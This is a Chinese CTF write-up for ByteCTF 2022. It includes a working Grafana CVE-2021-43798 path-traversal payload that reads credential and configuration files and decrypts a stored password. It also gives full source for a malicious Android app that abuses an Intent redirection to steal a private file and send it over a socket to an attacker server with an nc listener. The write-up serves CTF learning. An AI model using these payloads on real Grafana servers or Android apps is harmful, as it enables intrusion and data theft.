ByteCTF2022-wp

1 背景

老早就跟舍友组队准备打ByteCTF 2022,结果真是可想而知,签了个到signin,签了个退survey,还是比以前有进步的,趁官方题目环境还没关,抓紧时间学习一波🤭🤭🤭

2 Misc

signin

解题思路

签到题,与舍友进行测试发现,游戏总共有5关,所有的链接地址如下。

http://180.184.70.22:23334/level1
http://180.184.70.22:23334/level2
http://180.184.70.22:23334/level3
http://180.184.70.22:23334/level4
http://180.184.70.22:23334/level5
http://180.184.70.22:23334/final

可以手动通关,也可以访问final直达验证队伍ID和队名,这两个属性存在Localstorage中,可以直接修改,也可以抓包,自己构造请求。

这里,我们使用burpsuite抓取http://180.184.70.22:23334/final的数据包,发现抓取到的数据包如下所示。

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /api/signin HTTP/1.1
Host: 180.184.70.22:23334
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://180.184.70.22:23334/final
content-type: application/json
Content-Length: 37
Origin: http://180.184.70.22:23334
Connection: close

{"team_name":null,"team_id":null}

然后,我们就把这个包发到爆破模块Intruder,我们队的team_nameZiaoYteam_id就爆破吧,反正参赛队伍也没太多,最终爆破出来flag的数据包如下所示。

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /api/signin HTTP/1.1
Host: 180.184.70.22:23334
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://180.184.70.22:23334/final
content-type: application/json
Content-Length: 37
Origin: http://180.184.70.22:23334
Connection: close

{"team_name":"ZiaoY","team_id":"198"}

得到的flag图1所示。

图1 获取signin的flag

survey

解题思路

填问卷,然后就能得到flag,如图2所示。

图2 得到survey的flag

3 Web

easy_grafana

解题思路

打开题目之后,发现该系统使用的是Grafana,然后比赛的时候就抱着尝试态度bing搜索Grafana漏洞,还真看到csdn上的一篇文章https://blog.csdn.net/qq_36197704/article/details/123480175Grafana的8.0.0-8.3.0版本都存在任意文件读取漏洞CVE-2021-43798

而且,从图3可知,该系统所用的Grafana版本是8.2.6,存在任意文件读取,直接读会返回400未认证,Github上的https://github.com/jas502n/Grafana-CVE-2021-43798也存在对应的脚本能够利用。

图3 查看Grafana版本信息

思路明确之后,我们首先读取grafana.db文件,利用的payload如下所示

https://b6b71617f5fca534e5114f6a580b739d.2022.capturetheflag.fun/public/plugins/text/#/../../../../../../../../../../etc/passwd

使用burpsuite抓取上述链接的数据包后发到重放模块Repeater,将GET的信息改为/public/plugins/text/#/../../../../../../../../../../var/lib/grafana/grafana.db,数据包信息如下所示。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
GET /public/plugins/text/#/../../../../../../../../../../var/lib/grafana/grafana.db HTTP/1.1
Host: b6b71617f5fca534e5114f6a580b739d.2022.capturetheflag.fun
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: __t_id=974a41f6460ff864cbf65a6ac1b9f447; redirect_to=%2Fpublic%2Fplugins%2Ftext%2F; __t_id=974a41f6460ff864cbf65a6ac1b9f447
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1

进行重放后读取到了grafana.db文件,搜索关键字CTF后发现被加密的密码信息

mysqlCTFproxylocalhost:3306rootCTF{}2022-09-22 09:18:222022-09-22 09:18:41{“password”:”b0NXeVJoSXKPoSYIWt8i/GfPreRT03fO6gbMhzkPefodqe1nvGpdSROTvfHK1I3kzZy9SQnuVy9c3lVkvbyJcqRwNT6/“}22YZRL7Vk

同理,将GET的信息改为/public/plugins/text/#/../../../../../../../../../../etc/grafana/grafana.ini,发现密钥。

secret_key = SW2YcwTIb9zpO1hoPsMm

然后,利用https://github.com/jas502n/Grafana-CVE-2021-43798上的脚本AESDecrypt.go进行解密即可得到flag,如图4所示。

图4 得到easy_grafana的flag

4 Mobile

Find IMEI

题目描述

目标应用在用户同意隐私政策前向douyin.com上传了DeviceID,你知道DeviceID值是多少吗?

注:flag格式为ByteCTF{DeviceID}

官方出题过程

  1. DeviceID采集行为发生在同意隐私政策前,采集行为实现在native中;
  2. DeviceID是一个固定值,但是经过AES加密后硬编码在native中,采集时先进行了解密,然后再传到了douyin.com;
  3. 网络请求不走系统代理,也就是通过代理抓包无法实现;
  4. native中有对frida hook的检测;
  5. native中有应用签名校验。

解题思路

首先,从题目描述中可知,我们的目标是在用户同意隐私政策前想办法抓取获得DeviceID

然后,这里我们介绍一种非预期思路,其他的解题思路后续再补。

我们利用命令adb install Find_IMEI.apk安装到手机上,在手机上还没有点击图5中的《用户协议与隐私政策》时,想办法获取DeviceID。

图5 用户协议与隐私政策界面

接着,在手机上卸载安装的Find_IMEI.apk。打开Android Studio的Profile or Debug APK界面,如图6所示。

图6 打开Android Studio的Profile or Debug APK界面

待Android Studio分析好APK后,打开Logcat界面,如图7所示。

图7 打开Logcat界面

下一步,我们点击图8中的绿色按钮,将APK安装到手机中。

图8 安装APK到手机

等APK安装完成后,这时重点来了,把Logcat界面的所有信息复制出来,搜索字符串CTF即得flag,如图9所示。

图9 获得Find IMEI的flag

【注】此题还有另外一种非预期解法,通过DDMS查看APP打开时候的Logcat信息,过滤tag:CTF即可获得与图9相同的flag。

Bronze Droid

题目描述

Here is a vulnerable Android client application running in an AVD simulated environment. I placed the flag file in the app’s internal storage(/data/data/{pkg}/files/flag) or Cookies file(/data/data/{pkg}/app_webview/Cookies). Now you have a chance to install a malicious app into the system. Can you exploit and steal the contents of the flag file through these vulnerabilities?
The vulnerable Android client application is named app-debug.apk, you can use jadx (https://github.com/skylot/jadx/releases) to perform a reverse analysis.
In addition, the real flag is stored on the remote server, you need access server by nc ip port or socket. In order to prevent DOS, I set up a proof-of-work.

意思是说有一个运行在AVD(Android Virural Device)模拟环境的安卓应用程序,出题人把Flag放在了这个App的内部存储中,现在我们有机会在它的系统上安装一个恶意app,我们要做的事情就是找到运行在服务器上的目标App的漏洞点,然后自己写一个恶意App去利用,从而拿到Flag

除此之外,出题人还设置了一个PoW来防止DOS攻击
因此,如何拿到flag呢?

Once you capture the flag, you can send it back by performing a network request. So you may need to set these in AndroidManifest.xml

1
2
3
4
5
<uses-permission android:name="android.permission.INTERNET"/>
......
<application
android:usesCleartextTraffic="true"
......

If an apk_download_url is required, you can set up a temporary http service to provide, and record flag. Example:
using node: anywhere -l 80 -s
using python3: python3 -m http.server 80

也就是说我们要在自己写的恶意App中,拿到Flag之后,发送一个网络请求,把flag发送到自己搭建的http服务上

解题思路

首先,下载好附件并解压之后,发现有下列文件

app-debug.apk
Dockerfile
flag
readme.md
run.sh
server.py
server.sh

readme.md文件提示我们可以使用Jadx先静态分析一下app-debug.apk,第⼀步先看AndroidManifest.xml文件,如下所示

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android" android:versionCode="1" android:versionName="1.0" android:compileSdkVersion="32" android:compileSdkVersionCodename="12" package="com.bytectf.bronzedroid" platformBuildVersionCode="32" platformBuildVersionName="12">
<uses-sdk android:minSdkVersion="21" android:targetSdkVersion="32"/>
<application android:theme="@style/Theme.BronzeDroid" android:label="@string/app_name" android:icon="@mipmap/ic_launcher" android:debuggable="true" android:allowBackup="true" android:supportsRtl="true" android:fullBackupContent="@xml/backup_rules" android:roundIcon="@mipmap/ic_launcher_round" android:appComponentFactory="androidx.core.app.CoreComponentFactory" android:dataExtractionRules="@xml/data_extraction_rules">
<activity android:name="com.bytectf.bronzedroid.MainActivity" android:exported="true">
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
</activity>
<receiver android:name="com.bytectf.bronzedroid.FlagReceiver" android:exported="false">
<intent-filter>
<action android:name="com.bytectf.SET_FLAG"/>
</intent-filter>
</receiver>
<provider android:name="androidx.core.content.FileProvider" android:exported="false" android:authorities="com.bytectf.bronzedroid.fileprovider" android:grantUriPermissions="true">
<meta-data android:name="android.support.FILE_PROVIDER_PATHS" android:resource="@xml/file_paths"/>
</provider>
<provider android:name="androidx.startup.InitializationProvider" android:exported="false" android:authorities="com.bytectf.bronzedroid.androidx-startup">
<meta-data android:name="androidx.emoji2.text.EmojiCompatInitializer" android:value="androidx.startup"/>
<meta-data android:name="androidx.lifecycle.ProcessLifecycleInitializer" android:value="androidx.startup"/>
</provider>
</application>
</manifest>

然后看MainActivity,发现MainActivity⾥⾯有个setResult函数,其中onCreate()函数的内容如下

1
2
3
4
5
6
7
8
9
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
String action = getIntent().getAction();
if (action != null && action.equals("ACTION_SHARET_TO_ME")) {
setResult(-1, getIntent());
finish();
}
}

经分析知,上述代码中setResult(-1, getIntent())存在Intent重定向风险,因为setResult中也是可以触发Uri grant permission操作,所以我们只需要在Intent中放入指定的flags+uri即可。

详细的Intent重定向原理是setResult函数在调⽤之后,会⾃动的调⽤onActivityResult()函数,我们只需要在攻击程序中重写onActivityResult()函数即可,在⾥⾯写⼀个跳转,进⽽远程带出flag

构建攻击APK

接着,我们需要进行如下操作

  1. 利⽤Android studio创建空白项⽬;

  2. 包名要跟附件的server.py中规定的⼀样,也就是com.bytectf.pwnbronzedroid

  3. 在AndroidManifest.xml添加要申请的权限。这是我们要进⾏申请权限(由于⽬标是30版本,我们这⾥要多加个android:usesCleartextTraffic=”true”,因为⾼版本是禁⽌使⽤明⽂流量的)这个在readme.md⾥⾯也有描述,如图10所示;

图10 添加权限

  1. 我们利⽤传参的⽅式来写主要exp,通过exp的传参,跳转到⽬标的攻击类⾥(MainActivity),然后通过⽬标的攻击类中的⾃动调⽤,将flag进⾏外带;

  2. 魔改的onActivityResult⾥⾯写的主要是,我们进⾏获取远程的⼀个flag,并反弹到我们远程服务器上进⽽获取flag

攻击EXP如下所示

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
package com.bytectf.pwnbronzedroid;

import androidx.appcompat.app.AppCompatActivity;

import android.os.Bundle;


import android.app.Activity;
import android.content.ContentValues;
import android.content.Intent;
import android.net.Uri;
import android.os.Bundle;
import android.provider.MediaStore;
import android.util.Log;
import android.widget.Toast;

import java.io.BufferedReader;
import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.OutputStream;
import java.net.InetSocketAddress;
import java.net.Socket;
import java.net.SocketAddress;


public class MainActivity extends AppCompatActivity {

@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
Intent intent = new Intent("ACTION_SHARET_TO_ME");
intent.setFlags(Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION | Intent.FLAG_GRANT_PREFIX_URI_PERMISSION | Intent.FLAG_GRANT_READ_URI_PERMISSION | Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
// 这里往后参考 https://erev0s.com/blog/exploiting-content-providers-through-an-insecure-setresult-implementation/
intent.setClassName("com.bytectf.bronzedroid", "com.bytectf.bronzedroid.MainActivity");
intent.setData(Uri.parse("content://com.bytectf.bronzedroid.fileprovider/root/data/data/com.bytectf.bronzedroid/files/flag"));
startActivityForResult(intent,0);
}


// 这部分参考 https://forum.butian.net/share/1175 对onActivityResult 进行魔改
protected void onActivityResult(int requestCode, int resultCode, Intent data) {
super.onActivityResult(requestCode, resultCode, data);
try {
InputStream is = getContentResolver().openInputStream(data.getData());
BufferedReader br = new BufferedReader(new InputStreamReader(is));
StringBuilder sb = new StringBuilder();
String line;
while ((line = br.readLine()) != null) {
sb.append(line);
}
is.close();
br.close();
String flag = sb.toString();
new Thread(new Runnable() {
@Override
public void run() {
try {
if (true) {
Socket sk = new Socket();
SocketAddress address = new InetSocketAddress("ip", 1235);
sk.connect(address, 5000);
sk.setTcpNoDelay(true);
sk.setKeepAlive(true);
OutputStream os = sk.getOutputStream();
os.write(flag.getBytes());
os.flush();
os.close();
sk.close();
Thread.sleep(1000);
}
} catch (Exception e) {
Log.e("FlagHunter_Err",e.toString());
}
}
}).start();
} catch ( Exception e) {
throw new RuntimeException(e);
}
}
}

外带flag

首先,根据readme.md文件中的提示,在VPS上开⼀个http服务,提供下载apk的链接。我这里使用阿里云服务器ECS,利用命令scp /path/filename username@servername:/path/将打包好的攻击APK上传到服务器,如图11所示。

图11 上传攻击APK到服务器

然后,利用命令python3 -m http.server 12345搭建临时下载APK和记录flag的服务,如图12所示。

图12 搭建下载APK的http服务

另外,还得重新打开一个ECS的窗口,利用命令nc -lvnp 1235开启监听,以便在最后获得flag,如图13所示。

图13 在ECS开启监听1235端口

接着,根据题目提示在本地进行nc 180.184.96.131 31337,发现提示说要输入4个字符满足上述等式,如图14所示。

图14 输入满足等式的4个字符

下一步,我们就编写EXP来计算符合条件的4个字符,如下所示

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from hashlib import *
import itertools
import string
from Crypto.Hash import SHA256
import itertools
ALPHABET = string.ascii_letters + string.digits
suffix = 'lHCvHd'
digest = 'a4db8533f42c51d54eb13798a3907df8a7a28013d02c0b29a1c9e28e52278d5c'
print(f"suffix: {suffix}\ndigest: {digest}")
for i in itertools.product(ALPHABET,repeat=4):
prefix = ''.join(i)
guess = suffix + prefix
if sha256(guess.encode()).hexdigest() == digest:
print(f"Find XXXX: {prefix}")
break

图15 计算出4个字符

输入4个字符后,在图13中输入计算出的4个字符xuHI后,又提示我们要提供APK的下载链接,如图16所示。

图16 输入APK下载链接

利用图12中在ECS上搭建的临时APK下载链接http://ip:port/app-release.apk,输入到图16中,如图17所示。

图17 反弹flag信息成功

最后,在图13中就可查看flag信息,如图18所示。

图18 获得flag信息

【注意】

  1. 因为之前的腾讯云服务器好像防火墙设置有问题,就买了一个月的阿里云服务器ECS,只要是vps应该都能复现成功;
  2. 攻击EXP的第61行中要输入真实的ip地址,不然会有问题;
  3. 攻击APK的包名和权限一定要配置对,工程中的build.gradle文件中的targetSdk最好改成30;
  4. 这里ECS的12345端口用来提供APK临时下载链接和记录flag信息,1235端口是APK中攻击EXP的端口。

5 参考文献


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达,可以邮件至 xingshuaikun@163.com。

×

喜欢就点赞,疼爱就打赏